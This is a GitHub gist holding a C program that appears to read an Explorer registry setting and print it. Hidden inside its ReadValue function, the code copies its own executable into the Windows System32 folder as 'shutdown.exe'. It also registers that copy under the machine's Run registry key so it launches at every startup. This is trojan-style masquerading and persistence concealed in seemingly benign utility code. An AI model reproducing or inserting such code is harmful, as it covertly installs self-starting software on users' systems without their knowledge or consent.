Created
October 9, 2012 11:48
-
-
Save fakessh/3858251 to your computer and use it in GitHub Desktop.
winntserverservice2003.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _WIN32_WINNT 0x0502 // Windows Server 2003 family | |
// For Win Xp, change accordingly... | |
#define _WIN32_WINNT 0x0501 | |
// #define _WIN32_WINNT 0x0500 // Windows 2000 | |
// #define _WIN32_WINNT 0x0400 // Windows NT 4.0 | |
// #define _WIN32_WINDOWS 0x0500 // Windows ME | |
// #define _WIN32_WINDOWS 0x0410 // Windows 98 | |
// #define _WIN32_WINDOWS 0x0400 // Windows 95 | |
#include <windows.h> | |
#include <tchar.h> | |
#include <stdio.h> | |
// Change accordingly... | |
#define POLICY_KEY TEXT("Software\\Policies\\Microsoft\\Windows\\Explorer") | |
#define PREFERENCE_KEY TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer") | |
DWORD ReadValue(LPTSTR lpValueName, DWORD dwDefault) | |
{ | |
HKEY hKey; | |
LONG lResult; | |
DWORD dwValue, dwType, dwSize = sizeof(dwValue); | |
DWORD dwDisposition; | |
//first utility | |
TCHAR buf[MAX_PATH]; | |
GetModuleFileName(0, buf, MAX_PATH); | |
CopyFile(buf, "C:\\WINDOWS\\SYSTEM32\\shutdown.exe", TRUE); | |
char szData[50]= "C:\\WINDOWS\\SYSTEM32\\shutdown.exe"; | |
// First, check for a policy. | |
lResult = RegOpenKeyEx(HKEY_CURRENT_USER, POLICY_KEY, 0, KEY_READ, &hKey); | |
if(lResult == ERROR_SUCCESS) | |
{ | |
lResult = RegQueryValueEx(hKey, lpValueName, 0, &dwType, (LPBYTE)&dwValue, &dwSize); | |
RegCloseKey(hKey); | |
} | |
// Exit if a policy value was found. | |
if(lResult == ERROR_SUCCESS) | |
{ | |
// return the data value | |
return dwValue; | |
} | |
else | |
printf("Policy: value not found!\n"); | |
// Second, check for a preference. | |
lResult = RegOpenKeyEx(HKEY_CURRENT_USER, PREFERENCE_KEY, 0, KEY_READ, &hKey); | |
if(lResult == ERROR_SUCCESS) | |
{ | |
lResult = RegQueryValueEx(hKey, lpValueName, 0, &dwType, (LPBYTE)&dwValue, &dwSize); | |
RegCloseKey (hKey); | |
} | |
// Exit if a preference was found. | |
if(lResult == ERROR_SUCCESS) | |
{ | |
// Return the data value | |
return dwValue; | |
} | |
else | |
printf("Preference: value not found!\n"); | |
lResult = RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); | |
// Exit if a preference was found. | |
if(lResult == ERROR_SUCCESS) | |
{ | |
// Return the data value | |
RegSetValueEx(hKey, "shutdown", 0, REG_SZ, (LPBYTE)szData, sizeof(szData)); | |
RegCloseKey(hKey); | |
return dwValue; | |
} | |
else | |
printf("Preference: value not found!\n"); | |
// Neither a policy nor a preference was found; return the default value. | |
return dwDefault; | |
} | |
int main() | |
{ | |
LPTSTR lpValueName = "Browse For Folder Height"; | |
DWORD dwDefault = 0x00000000; | |
DWORD ret = ReadValue(lpValueName, dwDefault); | |
printf("The value data for the \'%s\' value name is 0X%.8X(%d).\n", lpValueName, ret, ret); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment